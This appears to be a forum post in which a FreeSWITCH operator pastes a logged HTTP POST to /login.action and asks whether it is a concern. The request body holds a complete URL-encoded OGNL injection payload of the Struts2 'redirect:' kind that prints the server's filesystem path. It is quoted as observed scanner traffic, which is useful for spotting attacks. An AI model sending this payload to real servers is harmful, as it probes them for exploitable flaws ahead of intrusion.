I saw this on the freeswitch console months ago and did not get around to following up on it until now. A freeswitch profile is listening on :8080 a.b.c.d = remote address w.x.y.z = freeswitch address What is this? Is it a concern? recv 607 bytes from tcp/[a.b.c.d]:4423 at 17:50:50.225319: ------------------------------------------------------------------------ POST /login.action HTTP/1.1 User-Agent: Mozilla/5.0 Accept: */* Content-Type: application/x-www-form-urlencoded Host: w.x.y.z:8080 Content-Length: 395 Expect: 100-continue Connection: Keep-Alive redirect:${%23res%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23res.setCharacterEncoding(%22UTF-8%22),%23req%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),%23res.getWriter().print(%22dir:%22),%23res.getWriter().println(%23req.getSession().getServletContext().getRealPath(%22/%22)),%23res.getWriter().flush(),%23res.getWriter().close()}